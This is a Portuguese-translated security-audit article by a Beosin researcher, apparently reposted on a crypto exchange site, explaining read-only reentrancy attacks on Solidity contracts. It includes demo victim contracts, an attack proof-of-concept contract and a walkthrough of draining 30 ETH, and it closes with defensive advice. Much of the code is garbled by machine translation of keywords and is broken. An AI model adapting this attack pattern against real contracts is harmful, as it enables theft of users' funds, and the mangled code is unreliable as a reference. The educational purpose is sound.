Conhecimento essencial para auditoria de segurança: O que é o "ataque de reentrada somente leitura" que ocorreu com frequência recentemente e é difícil de evitar?

Autor deste artigo: Sivan, especialista em pesquisa de segurança Beosin

Recentemente, houve muitos ataques de reentrada no ecossistema blockchain. Esses ataques não são como as vulnerabilidades de reentrada que conhecíamos antes, mas ataques de reentrada somente leitura que ocorrem quando o projeto tem um bloqueio de reentrada.

O conhecimento necessário para a auditoria de segurança de hoje, a equipe de pesquisa de segurança da Beosin explicará a você o que é "ataque de reentrância somente leitura".

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

Quais situações levam ao risco de vulnerabilidades de reentrada?

No processo de programação de contratos inteligentes do Solidity, um contrato inteligente pode chamar o código de outro contrato inteligente. No design de negócios de muitos projetos, é necessário enviar ETH para um determinado endereço, mas se o endereço de recebimento de ETH for um contrato inteligente, a função de fallback do contrato inteligente será chamada. Se um usuário mal-intencionado escrever um código bem projetado na função de fallback do contrato, pode haver um risco de vulnerabilidades de reentrada.

O invasor pode reiniciar a chamada para o contrato do projeto na função de fallback do contrato malicioso. Neste momento, o processo da primeira chamada não terminou e algumas variáveis não foram alteradas. Nesse caso, a segunda chamada causará o contrato do projeto para usar variáveis incomuns executa cálculos relacionados ou permite que um invasor contorne algumas restrições de verificação.

Ou seja, a raiz da vulnerabilidade de reentrada está na chamada de uma interface do contrato alvo após a execução da transferência, e a alteração do ledger faz com que a verificação seja contornada após a chamada do contrato alvo, ou seja, o desenho não é estritamente de acordo com o modo check-validation-interaction. Portanto, além das vulnerabilidades de reentrância causadas pelas transferências do Ethereum, alguns projetos impróprios também podem levar a ataques de reentrância, como no exemplo a seguir:

1. Chamar funções externas controláveis levará à possibilidade de reentrada

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

2. As funções relacionadas à segurança do ERC721/1155 podem causar reentrada

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

Atualmente, os ataques de reentrância são uma vulnerabilidade comum. A maioria dos desenvolvedores de projetos de blockchain também está ciente dos perigos dos ataques de reentrância. lock não pode ser chamado novamente. Embora os bloqueios de reentrada possam efetivamente impedir os ataques de reentrada acima, há outro ataque chamado "reentrada somente leitura" que é difícil de evitar.

O que é a "reentrada somente leitura" que é difícil de evitar?

Acima, apresentamos os tipos reentrantes comuns, cujo núcleo é usar o estado anormal para calcular o novo estado após a reentrada, resultando na atualização do estado anormal. Então, se a função que chamamos for uma função somente leitura modificada para exibição, não haverá modificação de estado na função e, depois que a função for chamada, ela não terá nenhum impacto neste contrato. Portanto, os desenvolvedores de tais projetos de função não prestarão muita atenção ao risco de reentrância e não adicionarão bloqueios de reentrância a ele.

Embora a função modificada pela visualização de reentrada basicamente não afete este contrato, há outra situação em que um contrato chamará a função de visualização de outros contratos como uma dependência de dados, e a função de visualização deste contrato não adiciona uma reentrada lock. Então, pode levar ao risco de reentrada somente leitura.

Por exemplo, um contrato do projeto A pode penhorar tokens e retirar tokens e fornecer a função de consultar preços de acordo com a quantidade total de tokens e certificados de contrato penhorados. Há um bloqueio de reentrada entre tokens penhorados e tokens retirados, e a consulta função não Existe um bloqueio reentrante. Existe outro projeto B que fornece a função de retirada de garantia.Existe um bloqueio de reentrada entre promessa e retirada.A função de retirada de garantia depende da função de consulta de preço do projeto A para calcular o token do voucher.

Existe o risco de reentrância somente leitura entre os dois projetos acima, conforme mostrado na figura abaixo:

  1. O invasor aposta e retira tokens em ContractA.

  2. A retirada de tokens chamará a função de fallback do contrato do invasor.

  3. O atacante chama a função de garantia em ContractB novamente no contrato.

  4. A função de promessa chamará a função de cálculo de preço do ContractA. Neste momento, o status do contrato do ContractA não foi atualizado, resultando em um erro no preço calculado e mais tokens são calculados e enviados ao invasor.

  5. Após a conclusão da reentrada, o status de ContractA é atualizado.

  6. Por fim, o invasor chama ContractB para retirar os tokens.

  7. Neste momento, os dados obtidos pelo ContractB foram atualizados e mais tokens podem ser retirados.

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

Análise do princípio do código

Tomamos a demonstração a seguir como um exemplo para explicar o problema da reentrância somente leitura. O seguinte é apenas um código de teste sem lógica de negócios real. Ele é usado apenas como referência para estudar a reentrância somente leitura.

Escreva o Contrato Um contrato:

pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * Bloqueio de reentrada. **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * Calcula o penhor com base na quantidade total de tokens e o valor prometido do certificado de contrato Valor, 10e8 para processamento de precisão. **/ function get_price() public view virtual return (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * Promessa do usuário, aumentar o valor da contribuição e fornecer a moeda do comprovante. **/ function deposit() public pay noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount; } /** * O usuário se retira, reduz o valor do penhor e destrói o valor total do token. **/ function pull(uint256 burnamount) public noreentrância(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; pagável(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount;

Implante o contrato ContractA e prometa 50ETH, e o projeto de simulação já está em execução.

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

Escreva o contrato ContractB (dependendo da função get_price do contrato ContractA):

pragma solidity ^0.8.21;interface ContractA { função get_price() visão externa retorna (uint256);}contract ContractB { ContractA contract_a; mapping (address => uint256) private _balances; bool check=true; () { require(check); check=false; _; check=true; } constructor(){ } function setcontrata(address addr) public { contract_a = ContractA(addr); } /** * Tokens de promessa , calcule o valor dos tokens prometidos de acordo com get_price() do contrato ContractA e calcule o número de tokens de voucher**/ function depositFunds() public pay noreentrancy(){ uint256 mintamount=msg.value\ *contract _a.get_price()/10e8; _balances[msg.sender]+=mintamount; } /** * Retirar tokens e calcular vouchers tokens de acordo com ContratoA get_price() do contrato Calcular o valor do saque tokens**/ function retireFunds(uint256 burnamount) public pay noreentrancy(){ _balances[msg.sender]-=burnamount; uint256 amount=burnamount*10e8/contract_a. get_price(); msg.sender .call{value:amount}(""); } function balanceof(address acount) public view return (uint256){ return _balances [acount] ;

Implante o contrato ContractB para definir o endereço ContractA e prometa 30ETH, e o projeto de simulação já está em execução.

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

Escreva um contrato POC de ataque:

pragma solidity ^0.8.21;interface ContractA { função deposit() externa pagável; função retirar(uint256 valor) externo;} interface ContractB { função depositFunds() externa pagável; ação balanceof(endereço conta) visão externa retorna (uint256);} contract POC { ContractA contract_a; ContractB contract_b; endereço a pagar _owner; uint flag=0; uint256 depositamount=30 ether; ); } function setaddr(address _contracta,address _contractb) public { contract_a=ContractA (_contracta); contract_b=ContractB(_contractb); } /** * O ataque começa chamando a função Adicionar liquidez, remover liquidez e finalmente retirar tokens. **/ function start(uint256 amount)public { contract_a.deposit{value:amount}(); contract_a.withdraw(amount); contract_b.withdrawFunds(contract_b.balanceof(address(this ))); } /** * Função piquetagem chamada na reentrância. **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * Depois que o ataque acabar, retire ETH. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * função callback, chave reentrante. **/ fallback() pagável externo { if(msg.sender==address(contract_a)){ deposit(); }

Mude para outra conta EOA para implantar o contrato de ataque e transferir 50ETH e defina os endereços ContractA e ContractB.

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

Passe 50000000000000000000 (50*10^18) para a função start e execute-a, e descubra que 30ETH de ContractB foi transferido pelo contrato POC.

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

Chame a função getEther novamente e o endereço do invasor ganha 30ETH.

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

Análise do processo de chamada de código:

A função start primeiro chama a função deposit do contrato ContractA para hipotecar ETH. O invasor passa em 50*10^18, mais os 50*10^18 pertencentes ao contrato inicial. Nesse momento, _allstake e _totalSupply são ambos 100*10 ^18.

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

Em seguida, chame a função de retirada de contrato de ContractA para retirar tokens. O contrato primeiro atualizará _allstake e enviará 50 ETH para o contrato de ataque. Nesse momento, ele chamará a função de fallback do contrato de ataque e, finalmente, atualizará _totalSupply .

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

Na função de fallback, o contrato de ataque chama o contrato ContractB para prometer 30 ETH. Como get_price é uma função de exibição, o contrato ContractB entra novamente com sucesso na função get_price de ContractA. Neste momento, porque _totalSupply não foi atualizado, ainda é 100\ *10^18, mas _allstake foi reduzido para 50*10^18, então o valor retornado aqui será dobrado. Ele adicionará 60*10^18 moedas de token ao contrato de ataque.

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

Após o término da reentrada, o contrato de ataque chama o contrato ContractB para extrair ETH. Neste momento, _totalSupply foi atualizado para 50*10^18 e a mesma quantidade de ETH que a moeda do certificado será calculada. Transferiu 60ETH para o contrato de ataque. No final, o atacante teve um lucro de 30ETH.

Conhecimento necessário para auditoria de segurança: O que é o "ataque de reentrância somente leitura" que ocorreu recentemente com frequência e é difícil de evitar?

Conselho de Segurança Beosin

Para os problemas de segurança acima, a equipe de segurança do Beosin sugere: Para projetos que precisam contar com outros projetos como suporte de dados, a segurança da lógica de negócios da combinação do projeto dependente e seu próprio projeto deve ser rigorosamente verificada. Caso não haja problemas nos dois projetos sozinhos, sérios problemas de segurança podem surgir após combiná-los.

Ver original
Esta página pode conter conteúdo de terceiros, que é fornecido apenas para fins informativos (não para representações/garantias) e não deve ser considerada como um endosso de suas opiniões pela Gate nem como aconselhamento financeiro ou profissional. Consulte a Isenção de responsabilidade para obter detalhes.
  • Recompensa
  • Comentário
  • Compartilhar
Comentário
0/400
Sem comentários
  • Marcar
Faça trade de criptomoedas em qualquer lugar e a qualquer hora
qrCode
Escaneie o código para baixar o app da Gate
Comunidade
Português (Brasil)
  • 简体中文
  • English
  • Tiếng Việt
  • 繁體中文
  • Español
  • Русский
  • Français (Afrique)
  • Português (Portugal)
  • Bahasa Indonesia
  • 日本語
  • بالعربية
  • Українська
  • Português (Brasil)